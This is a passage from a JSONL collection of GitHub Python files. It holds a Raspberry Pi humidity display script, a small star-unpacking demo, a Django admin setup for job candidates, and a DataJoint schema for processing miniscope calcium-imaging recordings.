(1,0,0,1,1,0,0,1),\n           '5' : (0,1,0,0,1,0,0,1),\n           '6' : (0,1,0,0,0,0,0,1),\n           '7' : (0,0,0,1,1,0,1,1),\n           '8' : (0,0,0,0,0,0,0,1),\n           '9' : (0,0,0,0,1,0,0,1)}\n\n    # 습도 1의 자리와 10의 자리 수를 번갈아가며 점등\n    humidity_unit = int(humidity_str[0])\n    humidity_ten = int(humidity_str[1])\n    while 1:\n    # 습도 1의 자리 출력\n        GPIO.setup(27, GPIO.OUT)\n        GPIO.output(27, 0)\n        GPIO.setup(22, GPIO.OUT)\n        GPIO.output(22, 1)\n        for i in range(0, 10) :\n            if humidity_unit == i :\n                s = str(i)\n                for loop in range(0, 8):\n                    GPIO.output(segments[loop], num[s][loop])\n        time.sleep(0.005)\n\n    # 습도 10의 자리 출력\n        GPIO.setup(22, GPIO.OUT)\n        GPIO.output(22, 0)\n        GPIO.setup(27, GPIO.OUT)\n        GPIO.output(27, 1)\n        for i in range(0, 10) :\n            if humidity_ten == i :\n                s = str(i)\n                for loop in range(0, 8):\n                    GPIO.output(segments[loop], num[s][loop])\n        \n        time.sleep(0.005)\n\nweather()","repo_name":"Jongjineee/JsTeam","sub_path":"weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":3531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"7744834836","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Dec 20 10:14:54 2017\r\n\r\n@author: Administrator\r\n\"\"\"\r\n\r\nrecord = [\r\n        ('foo',1,3),\r\n        ('bar',\"aaa\",1),\r\n        ('foo',5,6),\r\n        ('bar',\"bb\",4),\r\n        ]\r\ndef do_foo(x,y):\r\n    print (\"foo\",x,y)\r\ndef do_bar(x,y):\r\n    print(\"bar\",x,y)\r\n\r\nfor tag,*args in record:\r\n    if tag =='foo':\r\n        do_foo(*args)\r\n    elif tag == 'bar':\r\n        do_bar(*args)\r\n        \r\nline = \"nobody:*:xxx:mm:2012:/var/a:/home/zhiweny\"\r\nname,*_,dir1,homedir=line.split(\":\")\r\nprint (name,dir1,homedir)\r\n\r\nitem1=[1,2,3,4,6,5,10,100]\r\n\r\ndef sum(item):\r\n    head,*tail=item\r\n    return head+sum(tail) if tail else head\r\n\r\nprint(sum(item1))\r\n\r\n","repo_name":"zhiweny1122/proj_python","sub_path":"test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"32141797909","text":"from django.contrib import admin\nfrom . models import Candidate\nfrom .forms import CandidateForm\nfrom django.utils.html import format_html\n\nclass CandidateAdmin(admin.ModelAdmin):\n    radio_fields = {\"smoker\": admin.HORIZONTAL}\n    form = CandidateForm\n    exclude= [\"status\"] # remove status from admin form\n    list_filter = [\"situation\"]\n    list_display = [\"name\", \"job\",\"email\" , \"file\", \"created_at\", \"status\", \"_\"]\n    search_fields = [\"firstname\", \"lastname\",\"email\", \"situation\"]\n    list_per_page = 10\n    \n    \n    #readonly section\n    readonly_fields = [\"firstname\", \"lastname\", \"experience\", \"gender\",\"job\",\"email\" ,\"phone\",\"salary\",'birth',\"personality\",  \"smoker\",\"file\", \"image\", \"frameworks\", \"languages\", \"databases\", \"libraries\", \"mobile\", \"others\",'institution','status_course', 'course', 'started_course', 'finished_course', 'about_course',  'company', 'position', 'started_job', 'finished_job', 'about_job', 'employed', 'remote', 'travel', ]\n    \n    \n    fieldsets = [\n        #HR OPERATIONS\n        (\"HR OPERATIONS\", {\"fields\": [\"situation\", \"company_note\"]}),\n        \n        (\"PERSONAL\", {\"fields\":[\"experience\", \"gender\",\"job\",\"email\" ,\"phone\",\"salary\",'birth',\"personality\",  \"smoker\", \"image\", \"file\"]}),\n        \n        (\"CANDIDATE SKILLS\", {\"fields\":[\"frameworks\", \"languages\", \"databases\", \"libraries\", \"mobile\", \"others\"]}),\n        \n        (\"EDUCATIONAL BACKGROUND\", {\"fields\":['institution','status_course', 'course', 'started_course', 'finished_course', 'about_course']}),\n        \n        (\"OTHERS\",{\"fields\":['company', 'position', 'started_job', 'finished_job', 'about_job', ]}),\n        \n        (\"NOTE\",{\"fields\":[\"employed\",'remote', 'travel']}),\n    ]\n    \n    # Function to hide Fname and Lname when you click candidate\n    def get_fields(self, request, obj):\n        fields= super().get_fields(request, obj)\n        if obj:\n            fields.remove(\"firstname\")\n            fields.remove(\"lastname\")\n        return fields\n    \n    \n    #Function to change the icons. N.B if you are assigning new values use (self, var)\n    def _(self, obj): #_ was used so that you can get values for None\n        if obj.situation == \"Approved\":\n            return True\n        elif obj.situation == \"Pending\":\n            return None\n        else:\n            return False\n    _.boolean = True\n    \n    #function to color the text\n    def status(self, obj):\n        if obj.situation == \"Approved\":\n            color = \"#28a745\"\n        elif obj.situation == \"Pending\":\n            color = \"#fea95e\"\n        else:\n            color = \"red\"\n        return format_html('<strong><p style=\"color: {}\">{}</p></strong>'.format(color, obj.situation))\n    status.allow_tags = True\n            \n        \n  \nadmin.site.register(Candidate, CandidateAdmin)\n\n\n\n","repo_name":"martins232/crispy","sub_path":"App/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"75151378807","text":"import csv\nimport importlib\nimport inspect\nimport json\nimport logging\nimport pathlib\nfrom datetime import datetime\n\nimport cv2\nimport datajoint as dj\nimport numpy as np\nfrom element_interface.utils import dict_to_uuid, find_full_path, find_root_directory\n\nfrom . import miniscope_report\n\nschema = dj.Schema()\n\n_linking_module = None\nlogger = logging.getLogger(\"datajoint\")\n\n\ndef activate(\n    miniscope_schema_name: str,\n    *,\n    create_schema: bool = True,\n    create_tables: bool = True,\n    linking_module: str = None,\n):\n    \"\"\"Activate this schema.\n\n    Args:\n        miniscope_schema_name (str): schema name on the database server\n        create_schema (bool): when True (default), create schema in the database if it\n            does not yet exist.\n        create_tables (str): when True (default), create schema takes in the database\n            if they do not yet exist.\n        linking_module (str): a module (or name) containing the required dependencies.\n\n    Dependencies:\n\n    Upstream tables:\n        Session: parent table to Recording, identifying a recording session.\n        Device: Reference table for Recording, specifying the acquisition device.\n        AnatomicalLocation: Reference table for anatomical region for recording acquisition.\n\n    Functions:\n        get_miniscope_root_data_dir(): Returns absolute path for root data director(y/ies)\n            with all subject/sessions data, as (list of) string(s).\n        get_session_directory(session_key: dict) Returns the session directory with all\n            data for the session in session_key, as a string.\n        get_processed_root_data_dir(): Returns absolute path for all processed data as\n            a string.\n    \"\"\"\n\n    if isinstance(linking_module, str):\n        linking_module = importlib.import_module(linking_module)\n    assert inspect.ismodule(\n        linking_module\n    ), \"The argument 'dependency' must be a module's name or a module\"\n\n    global _linking_module\n    _linking_module = linking_module\n\n    schema.activate(\n        miniscope_schema_name,\n        create_schema=create_schema,\n        create_tables=create_tables,\n        add_objects=_linking_module.__dict__,\n    )\n    miniscope_report.activate(f\"{miniscope_schema_name}_report\", miniscope_schema_name)\n\n\n# Functions required by the element-miniscope  -----------------------------------------\n\n\ndef get_miniscope_root_data_dir() -> list:\n    \"\"\"Fetches absolute data path to miniscope data directory.\n\n    The absolute path here is used as a reference for all downstream relative paths used in DataJoint.\n\n    Returns:\n        A list of the absolute path to miniscope data directory.\n    \"\"\"\n\n    root_directories = _linking_module.get_miniscope_root_data_dir()\n    if isinstance(root_directories, (str, pathlib.Path)):\n        root_directories = [root_directories]\n\n    if hasattr(_linking_module, \"get_processed_root_data_dir\"):\n        root_directories.append(_linking_module.get_processed_root_data_dir())\n\n    return root_directories\n\n\ndef get_session_directory(session_key: dict) -> str:\n    \"\"\"Pulls session directory information from database.\n\n    Args:\n        session_key (dict): a dictionary containing session information.\n\n    Returns:\n        Session directory as a string.\n    \"\"\"\n    return _linking_module.get_session_directory(session_key)\n\n\n# Experiment and analysis meta information -------------------------------------\n\n\n@schema\nclass AcquisitionSoftware(dj.Lookup):\n    \"\"\"Software used for miniscope acquisition.\n\n    Attributes:\n        acq_software (varchar(24) ): Name of the miniscope acquisition software.\"\"\"\n\n    definition = \"\"\"\n    acq_software: varchar(24)\n    \"\"\"\n    contents = zip([\"Miniscope-DAQ-V3\", \"Miniscope-DAQ-V4\"])\n\n\n@schema\nclass Channel(dj.Lookup):\n    \"\"\"Number of channels in the miniscope recording.\n\n    Attributes:\n        channel (tinyint): Number of channels in the miniscope acquisition starting at zero.\"\"\"\n\n    definition = \"\"\"\n    channel     : tinyint  # 0-based indexing\n    \"\"\"\n    contents = zip(range(5))\n\n\n@schema\nclass Recording(dj.Manual):\n    \"\"\"Table for discrete recording sessions with the miniscope.\n\n    Attributes:\n        Session (foreign key): Session primary key.\n        recording_id (foreign key, int): Unique recording ID.\n        Device: Lookup table for miniscope device information.\n        AcquisitionSoftware: Lookup table for miniscope acquisition software.\n        recording_notes (varchar(4095) ): notes about the recording session.\n    \"\"\"\n\n    definition = \"\"\"\n    -> Session\n    recording_id: int\n    ---\n    -> Device\n    -> AcquisitionSoftware\n    recording_notes='' : varchar(4095) # free-notes\n    \"\"\"\n\n\n@schema\nclass RecordingLocation(dj.Manual):\n    \"\"\"Brain location where the miniscope recording is acquired.\n\n    Attributes:\n        Recording (foreign key): Recording primary key.\n        Anatomical Location: Select the anatomical region where recording was acquired.\n    \"\"\"\n\n    definition = \"\"\"\n    # Brain location where this miniscope recording is acquired\n    -> Recording\n    ---\n    -> AnatomicalLocation\n    \"\"\"\n\n\n@schema\nclass RecordingInfo(dj.Imported):\n    \"\"\"Automated table with recording metadata.\n\n    Attributes:\n        Recording (foreign key): Recording primary key.\n        nchannels (tinyint): Number of recording channels.\n        nframes (int): Number of recorded frames.\n        px_height (smallint): Height in pixels.\n        px_width (smallint): Width in pixels.\n        um_height (float): Height in microns.\n        um_width (float): Width in microns.\n        fps (float): Frames per second, (Hz).\n        gain (float): Recording gain.\n        spatial_downsample (tinyint): Amount of downsampling applied.\n        led_power (float): LED power used for the recording.\n        time_stamps (longblob): Time stamps for each frame.\n        recording_datetime (datetime): Datetime of the recording.\n        recording_duration (float): Total recording duration (seconds).\n    \"\"\"\n\n    definition = \"\"\"\n    # Store metadata about recording\n    -> Recording\n    ---\n    nchannels            : tinyint   # number of channels\n    nframes              : int       # number of recorded frames\n    px_height=null       : smallint  # height in pixels\n    px_width=null        : smallint  # width in pixels\n    um_height=null       : float     # height in microns\n    um_width=null        : float     # width in microns\n    fps                  : float     # (Hz) frames per second\n    gain=null            : float     # recording gain\n    spatial_downsample=1 : tinyint   # e.g. 1, 2, 4, 8. 1 for no downsampling\n    led_power            : float     # LED power used in the given recording\n    time_stamps          : longblob  # time stamps of each frame\n    recording_datetime=null   : datetime  # datetime of the recording\n    recording_duration=null   : float     # (seconds) duration of the recording\n    \"\"\"\n\n    class File(dj.Part):\n        \"\"\"File path to recording file relative to root data directory.\n\n        Attributes:\n            Recording (foreign key): Recording primary key.\n            file_id (foreign key, smallint): Unique file ID.\n            path_path (varchar(255) ): Relative file path to recording file.\n        \"\"\"\n\n        definition = \"\"\"\n        -> master\n        file_id : smallint unsigned\n        ---\n        file_path: varchar(255)      # relative to root data directory\n        \"\"\"\n\n    def make(self, key):\n        \"\"\"Populate table with recording file metadata.\"\"\"\n\n        # Search recording directory for miniscope raw files\n        acq_software = (Recording & key).fetch1(\"acq_software\")\n        recording_directory = get_session_directory(key)\n\n        recording_path = find_full_path(\n            get_miniscope_root_data_dir(), recording_directory\n        )\n\n        recording_filepaths = [\n            file_path.as_posix() for file_path in recording_path.glob(\"*.avi\")\n        ]\n\n        if not recording_filepaths:\n            raise FileNotFoundError(f\"No .avi files found in \" f\"{recording_directory}\")\n\n        if acq_software == \"Miniscope-DAQ-V3\":\n            recording_timestamps = recording_path / \"timestamp.dat\"\n            if not recording_timestamps.exists():\n                raise FileNotFoundError(\n                    f\"No timestamp file found in \" f\"{recording_directory}\"\n                )\n\n            nchannels = 1  # Assumes a single channel\n\n            # Parse number of frames from timestamp.dat file\n            with open(recording_timestamps) as f:\n                next(f)\n                nframes = sum(1 for line in f if int(line[0]) == 0)\n\n            # Parse image dimension and frame rate\n            video = cv2.VideoCapture(recording_filepaths[0])\n            _, frame = video.read()\n            frame_size = np.shape(frame)\n            px_height = frame_size[0]\n            px_width = frame_size[1]\n\n            fps = video.get(cv2.CAP_PROP_FPS)\n\n        elif acq_software == \"Miniscope-DAQ-V4\":\n            recording_metadata = list(recording_path.glob(\"metaData.json\"))[0]\n            recording_timestamps = list(recording_path.glob(\"timeStamps.csv\"))[0]\n\n            if not recording_metadata.exists():\n                raise FileNotFoundError(\n                    f\"No .json file found in \" f\"{recording_directory}\"\n                )\n            if not recording_timestamps.exists():\n                raise FileNotFoundError(\n                    f\"No timestamp (*.csv) file found in \" f\"{recording_directory}\"\n                )\n\n            with open(recording_metadata.as_posix()) as f:\n                metadata = json.loads(f.read())\n\n            with open(recording_timestamps, newline=\"\") as f:\n                time_stamps = list(csv.reader(f, delimiter=\",\"))\n\n            nchannels = 1  # Assumes a single channel\n            nframes = len(time_stamps) - 1\n            px_height = metadata[\"ROI\"][\"height\"]\n            px_width = metadata[\"ROI\"][\"width\"]\n            fps = int(metadata[\"frameRate\"].replace(\"FPS\", \"\"))\n            gain = metadata[\"gain\"]\n            spatial_downsample = 1  # Assumes no spatial downsampling\n            led_power = metadata[\"led0\"]\n            time_stamps = np.array(\n                [list(map(int, time_stamps[i])) for i in range(1, len(time_stamps))]\n            )\n        else:\n            raise NotImplementedError(\n                f\"Loading routine not implemented for {acq_software}\"\n                \" acquisition software\"\n            )\n\n        # Insert in RecordingInfo\n        self.insert1(\n            dict(\n                key,\n                nchannels=nchannels,\n                nframes=nframes,\n                px_height=px_height,\n                px_width=px_width,\n                fps=fps,\n                gain=gain,\n                spatial_downsample=spatial_downsample,\n                led_power=led_power,\n                time_stamps=time_stamps,\n                recording_duration=nframes / fps,\n            )\n        )\n\n        # Insert file(s)\n        recording_files = [\n            pathlib.Path(f)\n            .relative_to(find_root_directory(get_miniscope_root_data_dir(), f))\n            .as_posix()\n            for f in recording_filepaths\n        ]\n\n        self.File.insert(\n            [\n                {**key, \"file_id\": i, \"file_path\": f}\n                for i, f in enumerate(recording_files)\n            ]\n        )\n\n\n# Trigger a processing routine -------------------------------------------------\n\n\n@schema\nclass ProcessingMethod(dj.Lookup):\n    \"\"\"Method or analysis software to process miniscope acquisition.\n\n    Attributes:\n        processing_method (foreign key, varchar16): Recording processing method (e.g. CaImAn).\n        processing_method_desc (varchar(1000) ): Additional information about the processing method.\n    \"\"\"\n\n    definition = \"\"\"\n    # Method, package, analysis software used for processing of miniscope data\n    # (e.g. CaImAn, etc.)\n    processing_method: varchar(16)\n    ---\n    processing_method_desc='': varchar(1000)\n    \"\"\"\n\n    contents = [(\"caiman\", \"caiman analysis suite\")]\n\n\n@schema\nclass ProcessingParamSet(dj.Lookup):\n    \"\"\"Parameters of the processing method.\n\n    Attributes:\n        paramset_idx (foreign key, smallint): Unique parameter set ID.\n        ProcessingMethod (varchar(16) ): ProcessingMethod from the lookup table.\n        paramset_desc (varchar(128) ): Description of the parameter set.\n        paramset_set_hash (uuid): UUID hash for parameter set.\n        params (longblob): Dictionary of all parameters for the processing method.\n    \"\"\"\n\n    definition = \"\"\"\n    # Parameter set used for processing of miniscope data\n    paramset_id:  smallint\n    ---\n    -> ProcessingMethod\n    paramset_desc: varchar(128)\n    param_set_hash: uuid\n    unique index (param_set_hash)\n    params: longblob  # dictionary of all applicable parameters\n    \"\"\"\n\n    @classmethod\n    def insert_new_params(\n        cls,\n        processing_method: str,\n        paramset_id: int,\n        paramset_desc: str,\n        params: dict,\n        processing_method_desc: str = \"\",\n    ):\n        \"\"\"Insert new parameter set.\n\n        Args:\n            processing_method (str): Name of the processing method or software.\n            paramset_id (int): Unique number for the set of processing parameters.\n            paramset_desc (str): Description of the processing parameter set.\n            params (dict): Dictionary of processing parameters for the selected processing_method.\n            processing_method_desc (str, optional): Description of the processing method. Defaults to \"\".\n\n        Raises:\n            dj.DataJointError: A parameter set with arguments in this function already exists in the database.\n        \"\"\"\n\n        ProcessingMethod.insert1(\n            {\"processing_method\": processing_method}, skip_duplicates=True\n        )\n        param_dict = {\n            \"processing_method\": processing_method,\n            \"paramset_id\": paramset_id,\n            \"paramset_desc\": paramset_desc,\n            \"params\": params,\n            \"param_set_hash\": dict_to_uuid(params),\n        }\n        q_param = cls & {\"param_set_hash\": param_dict[\"param_set_hash\"]}\n\n        if q_param:  # If the specified param-set already exists\n            pname = q_param.fetch1(\"paramset_id\")\n            if pname == paramset_id:  # If the existed set has the same name: job done\n                return\n            else:  # If not same name: human error, try adding with different name\n                raise dj.DataJointError(\n                    \"The specified param-set already exists - name: {}\".format(pname)\n                )\n        else:\n            cls.insert1(param_dict)\n\n\n@schema\nclass MaskType(dj.Lookup):\n    \"\"\"Possible classifications of a segmented mask.\n\n    Attributes:\n        mask_type (foreign key, varchar(16) ): Type of segmented mask.\n    \"\"\"\n\n    definition = \"\"\" # Possible classifications for a segmented mask\n    mask_type        : varchar(16)\n    \"\"\"\n\n    contents = zip([\"soma\", \"axon\", \"dendrite\", \"neuropil\", \"artefact\", \"unknown\"])\n\n\n@schema\nclass ProcessingTask(dj.Manual):\n    \"\"\"Table marking manual or automatic processing task.\n\n    Attributes:\n        RecordingInfo (foreign key): Recording info primary key.\n        ProcessingParamSet (foreign key): Processing param set primary key.\n        processing_output_dir (varchar(255) ): relative output data directory for processed files.\n        task_mode (enum): `Load` existing results or `trigger` new processing task.\n    \"\"\"\n\n    definition = \"\"\"\n    # Manual table marking a processing task to be triggered or manually processed\n    -> RecordingInfo\n    -> ProcessingParamSet\n    ---\n    processing_output_dir : varchar(255)    # relative to the root data directory\n    task_mode='load'      : enum('load', 'trigger') # 'load': load existing results\n                                                    # 'trigger': trigger procedure\n    \"\"\"\n\n\n@schema\nclass Processing(dj.Computed):\n    \"\"\"Automatic table that beings the miniscope processing pipeline.\n\n    Attributes:\n        ProcessingTask (foreign key): Processing task primary key.\n        processing_time (datetime): Generates time of the processed results.\n        package_version (varchar(16) ): Package version information.\n    \"\"\"\n\n    definition = \"\"\"\n    -> ProcessingTask\n    ---\n    processing_time     : datetime  # generation time of processed, segmented results\n    package_version=''  : varchar(16)\n    \"\"\"\n\n    def make(self, key):\n        \"\"\"Triggers processing and populates Processing table.\"\"\"\n        task_mode = (ProcessingTask & key).fetch1(\"task_mode\")\n\n        output_dir = (ProcessingTask & key).fetch1(\"processing_output_dir\")\n        output_dir = find_full_path(get_miniscope_root_data_dir(), output_dir)\n\n        if task_mode == \"load\":\n            method, loaded_result = get_loader_result(key, ProcessingTask)\n            if method == \"caiman\":\n                loaded_caiman = loaded_result\n                key = {**key, \"processing_time\": loaded_caiman.creation_time}\n            else:\n                raise NotImplementedError(\n                    f\"Loading of {method} data is not yet supported\"\n                )\n        elif task_mode == \"trigger\":\n            method = (\n                ProcessingTask * ProcessingParamSet * ProcessingMethod * Recording & key\n            ).fetch1(\"processing_method\")\n\n            if method == \"caiman\":\n                import caiman\n                from element_interface.run_caiman import run_caiman\n\n                avi_files = (\n                    Recording * RecordingInfo * RecordingInfo.File & key\n                ).fetch(\"file_path\")\n                avi_files = [\n                    find_full_path(get_miniscope_root_data_dir(), avi_file).as_posix()\n                    for avi_file in avi_files\n                ]\n\n                params = (ProcessingTask * ProcessingParamSet & key).fetch1(\"params\")\n                sampling_rate = (\n                    ProcessingTask * Recording * RecordingInfo & key\n                ).fetch1(\"fps\")\n\n                input_hash = dict_to_uuid(dict(**key, **params))\n                input_hash_fp = output_dir / f\".{input_hash }.json\"\n\n                if not input_hash_fp.exists():\n                    start_time = datetime.utcnow()\n                    run_caiman(\n                        file_paths=avi_files,\n                        parameters=params,\n                        sampling_rate=sampling_rate,\n                        output_dir=output_dir.as_posix(),\n                        is3D=False,\n                    )\n                    completion_time = datetime.utcnow()\n                    with open(input_hash_fp, \"w\") as f:\n                        json.dump(\n                            {\n                                \"start_time\": start_time,\n                                \"completion_time\": completion_time,\n                                \"duration\": (\n                                    completion_time - start_time\n                                ).total_seconds(),\n                            },\n                            f,\n                            default=str,\n                        )\n\n                _, imaging_dataset = get_loader_result(key, ProcessingTask)\n                caiman_dataset = imaging_dataset\n                key[\"processing_time\"] = caiman_dataset.creation_time\n                key[\"package_version\"] = caiman.__version__\n            else:\n                raise NotImplementedError(\n                    f\"Automatic triggering of {method} analysis\"\n                    f\" is not yet supported\"\n                )\n        else:\n            raise ValueError(f\"Unknown task mode: {task_mode}\")\n\n        self.insert1(key)\n\n\n@schema\nclass Curation(dj.Manual):\n    \"\"\"Defines whether and how the results should be curated.\n\n    Attributes:\n        Processing (foreign key): Processing primary key.\n        curation_id (foreign key, int): Unique curation ID.\n        curation_time (datetime): Time of generation of curated results.\n        curation_output_dir (varchar(255) ): Output directory for curated results.\n        manual_curation (bool): If True, manual curation has been performed.\n        curation_note (varchar(2000) ): Optional description of the curation procedure.\n    \"\"\"\n\n    definition = \"\"\"\n    # Different rounds of curation performed on the processing results of the data\n    # (no-curation can also be included here)\n    -> Processing\n    curation_id: int\n    ---\n    curation_time: datetime             # time of generation of these curated results\n    curation_output_dir: varchar(255)   # output directory of the curated results,\n                                        # relative to root data directory\n    manual_curation: bool               # has manual curation been performed?\n    curation_note='': varchar(2000)\n    \"\"\"\n\n    @classmethod\n    def create1_from_processing_task(self, key, is_curated=False, curation_note=\"\"):\n        \"\"\"Given a \"ProcessingTask\", create a new corresponding \"Curation\" \"\"\"\n        if key not in Processing():\n            raise ValueError(\n                f\"No corresponding entry in Processing available for: \"\n                f\"{key}; run `Processing.populate(key)`\"\n            )\n\n        output_dir = (ProcessingTask & key).fetch1(\"processing_output_dir\")\n        method, imaging_dataset = get_loader_result(key, ProcessingTask)\n\n        if method == \"caiman\":\n            caiman_dataset = imaging_dataset\n            curation_time = caiman_dataset.creation_time\n        else:\n            raise NotImplementedError(\"Unknown method: {}\".format(method))\n\n        # Synthesize curation_id\n        curation_id = (\n            dj.U().aggr(self & key, n=\"ifnull(max(curation_id)+1,1)\").fetch1(\"n\")\n        )\n        self.insert1(\n            {\n                **key,\n                \"curation_id\": curation_id,\n                \"curation_time\": curation_time,\n                \"curation_output_dir\": output_dir,\n                \"manual_curation\": is_curated,\n                \"curation_note\": curation_note,\n            }\n        )\n\n\n# Motion Correction --------------------------------------------------------------------\n\n\n@schema\nclass MotionCorrection(dj.Imported):\n    \"\"\"Automated table performing motion correction analysis.\n\n    Attributes:\n        Curation (foreign key): Curation primary key.\n        Channel.proj(motion_correct_channel='channel'): Channel used for motion correction.\n    \"\"\"\n\n    definition = \"\"\"\n    -> Curation\n    ---\n    -> Channel.proj(motion_correct_channel='channel') # channel used for\n                                                      # motion correction\n    \"\"\"\n\n    class RigidMotionCorrection(dj.Part):\n        \"\"\"Automated table with ridge motion correction data.\n\n        Attributes:\n            MotionCorrection (foreign key): MotionCorrection primary key.\n            outlier_frames (longblob): Mask with true for frames with outlier shifts.\n            y_shifts (longblob): y motion correction shifts, pixels.\n            x_shifts (longblob): x motion correction shifts, pixels.\n            y_std (float): Standard deviation of y shifts across all frames, pixels.\n            x_std (float): Standard deviation of x shifts across all frames, pixels.\n        \"\"\"\n\n        definition = \"\"\"\n        -> master\n        ---\n        outlier_frames=null : longblob  # mask with true for frames with outlier shifts\n                                        # (already corrected)\n        y_shifts            : longblob  # (pixels) y motion correction shifts\n        x_shifts            : longblob  # (pixels) x motion correction shifts\n        y_std               : float     # (pixels) standard deviation of\n                                        # y shifts across all frames\n        x_std               : float     # (pixels) standard deviation of\n                                        # x shifts across all frames\n        \"\"\"\n\n    class NonRigidMotionCorrection(dj.Part):\n        \"\"\"Automated table with piece-wise rigid motion correction data.\n\n        Attributes:\n            MotionCorrection (foreign key): MotionCorrection primary key.\n            outlier_frames (longblob): Mask with true for frames with outlier shifts (already corrected).\n            block_height (int): Height in pixels.\n            block_width (int): Width in pixels.\n            block_count_y (int): Number of blocks tiled in the y direction.\n            block_count_x (int): Number of blocks tiled in the x direction.\n        \"\"\"\n\n        definition = \"\"\"\n        -> master\n        ---\n        outlier_frames=null             : longblob  # mask with true for frames with\n                                                    # outlier shifts (already corrected)\n        block_height                    : int       # (pixels)\n        block_width                     : int       # (pixels)\n        block_count_y                   : int       # number of blocks tiled in the\n                                                    # y direction\n        block_count_x                   : int       # number of blocks tiled in the\n                                                    # x direction\n        \"\"\"\n\n    class Block(dj.Part):\n        \"\"\"Automated table with data for blocks used in non-rigid motion correction.\n\n        Attributes:\n            master.NonRigidMotionCorrection (foreign key): NonRigidMotionCorrection primary key.\n            block_id (foreign key, int): Unique ID for each block.\n            block_y (longblob): y_start and y_end of this block in pixels.\n            block_x (longblob): x_start and x_end of this block in pixels.\n            y_shifts (longblob): y motion correction shifts for every frame in pixels.\n            x_shifts (longblob): x motion correction shifts for every frame in pixels.\n            y_std (float): standard deviation of y shifts across all frames in pixels.\n            x_std (float): standard deviation of x shifts across all frames in pixels.\n        \"\"\"\n\n        definition = \"\"\"  # FOV-tiled blocks used for non-rigid motion correction\n        -> master.NonRigidMotionCorrection\n        block_id : int\n        ---\n        block_y  : longblob  # (y_start, y_end) in pixel of this block\n        block_x  : longblob  # (x_start, x_end) in pixel of this block\n        y_shifts : longblob  # (pixels) y motion correction shifts for every frame\n        x_shifts : longblob  # (pixels) x motion correction shifts for every frame\n        y_std    : float     # (pixels) standard deviation of y shifts across all frames\n        x_std    : float     # (pixels) standard deviation of x shifts across all frames\n        \"\"\"\n\n    class Summary(dj.Part):\n        \"\"\"A summary image for each field and channel after motion correction.\n\n        Attributes:\n            MotionCorrection (foreign key): MotionCorrection primary key.\n            ref_image (longblob): Image used as the alignment template.\n            average_image (longblob): Mean of registered frames.\n            correlation_image (longblob): Correlation map computed during cell detection.\n            max_proj_image (longblob): Maximum of registered frames.\n        \"\"\"\n\n        definition = \"\"\" # summary images for each field and channel after corrections\n        -> master\n        ---\n        ref_image=null         : longblob  # image used as alignment template\n        average_image          : longblob  # mean of registered frames\n        correlation_image=null : longblob  # correlation map\n                                           # (computed during cell detection)\n        max_proj_image=null    : longblob  # max of registered frames\n        \"\"\"\n\n    def make(self, key):\n        \"\"\"Populate tables with motion correction data.\"\"\"\n        method, loaded_result = get_loader_result(key, ProcessingTask)\n\n        if method == \"caiman\":\n            loaded_caiman = loaded_result\n\n            self.insert1(\n                {**key, \"motion_correct_channel\": loaded_caiman.alignment_channel}\n            )\n\n            # -- rigid motion correction --\n            if not loaded_caiman.params.motion[\"pw_rigid\"]:\n                rigid_correction = {\n                    **key,\n                    \"x_shifts\": loaded_caiman.motion_correction[\"shifts_rig\"][:, 0],\n                    \"y_shifts\": loaded_caiman.motion_correction[\"shifts_rig\"][:, 1],\n                    \"x_std\": np.nanstd(\n                        loaded_caiman.motion_correction[\"shifts_rig\"][:, 0]\n                    ),\n                    \"y_std\": np.nanstd(\n                        loaded_caiman.motion_correction[\"shifts_rig\"][:, 1]\n                    ),\n                    \"outlier_frames\": None,\n                }\n\n                self.RigidMotionCorrection.insert1(rigid_correction)\n\n            # -- non-rigid motion correction --\n            else:\n                nonrigid_correction = {\n                    **key,\n                    \"block_height\": (\n                        loaded_caiman.params.motion[\"strides\"][0]\n                        + loaded_caiman.params.motion[\"overlaps\"][0]\n                    ),\n                    \"block_width\": (\n                        loaded_caiman.params.motion[\"strides\"][1]\n                        + loaded_caiman.params.motion[\"overlaps\"][1]\n                    ),\n                    \"block_count_x\": len(\n                        set(loaded_caiman.motion_correction[\"coord_shifts_els\"][:, 0])\n                    ),\n                    \"block_count_y\": len(\n                        set(loaded_caiman.motion_correction[\"coord_shifts_els\"][:, 2])\n                    ),\n                    \"outlier_frames\": None,\n                }\n\n                nonrigid_blocks = []\n                for b_id in range(\n                    len(loaded_caiman.motion_correction[\"x_shifts_els\"][0, :])\n                ):\n                    nonrigid_blocks.append(\n                        {\n                            **key,\n                            \"block_id\": b_id,\n                            \"block_x\": np.arange(\n                                *loaded_caiman.motion_correction[\"coord_shifts_els\"][\n                                    b_id, 0:2\n                                ]\n                            ),\n                            \"block_y\": np.arange(\n                                *loaded_caiman.motion_correction[\"coord_shifts_els\"][\n                                    b_id, 2:4\n                                ]\n                            ),\n                            \"x_shifts\": loaded_caiman.motion_correction[\"x_shifts_els\"][\n                                :, b_id\n                            ],\n                            \"y_shifts\": loaded_caiman.motion_correction[\"y_shifts_els\"][\n                                :, b_id\n                            ],\n                            \"x_std\": np.nanstd(\n                                loaded_caiman.motion_correction[\"x_shifts_els\"][:, b_id]\n                            ),\n                            \"y_std\": np.nanstd(\n                                loaded_caiman.motion_correction[\"y_shifts_els\"][:, b_id]\n                            ),\n                        }\n                    )\n\n                self.NonRigidMotionCorrection.insert1(nonrigid_correction)\n                self.Block.insert(nonrigid_blocks)\n\n            # -- summary images --\n            summary_images = {\n                **key,\n                \"ref_image\": loaded_caiman.motion_correction[\"reference_image\"][...][\n                    np.newaxis, ...\n                ],\n                \"average_image\": loaded_caiman.motion_correction[\"average_image\"][...][\n                    np.newaxis, ...\n                ],\n                \"correlation_image\": loaded_caiman.motion_correction[\n                    \"correlation_image\"\n                ][...][np.newaxis, ...],\n                \"max_proj_image\": loaded_caiman.motion_correction[\"max_image\"][...][\n                    np.newaxis, ...\n                ],\n            }\n\n            self.Summary.insert1(summary_images)\n\n        else:\n            raise NotImplementedError(\"Unknown/unimplemented method: {}\".format(method))\n\n\n# Segmentation -------------------------------------------------------------------------\n\n\n@schema\nclass Segmentation(dj.Computed):\n    \"\"\"Automated table computes different mask 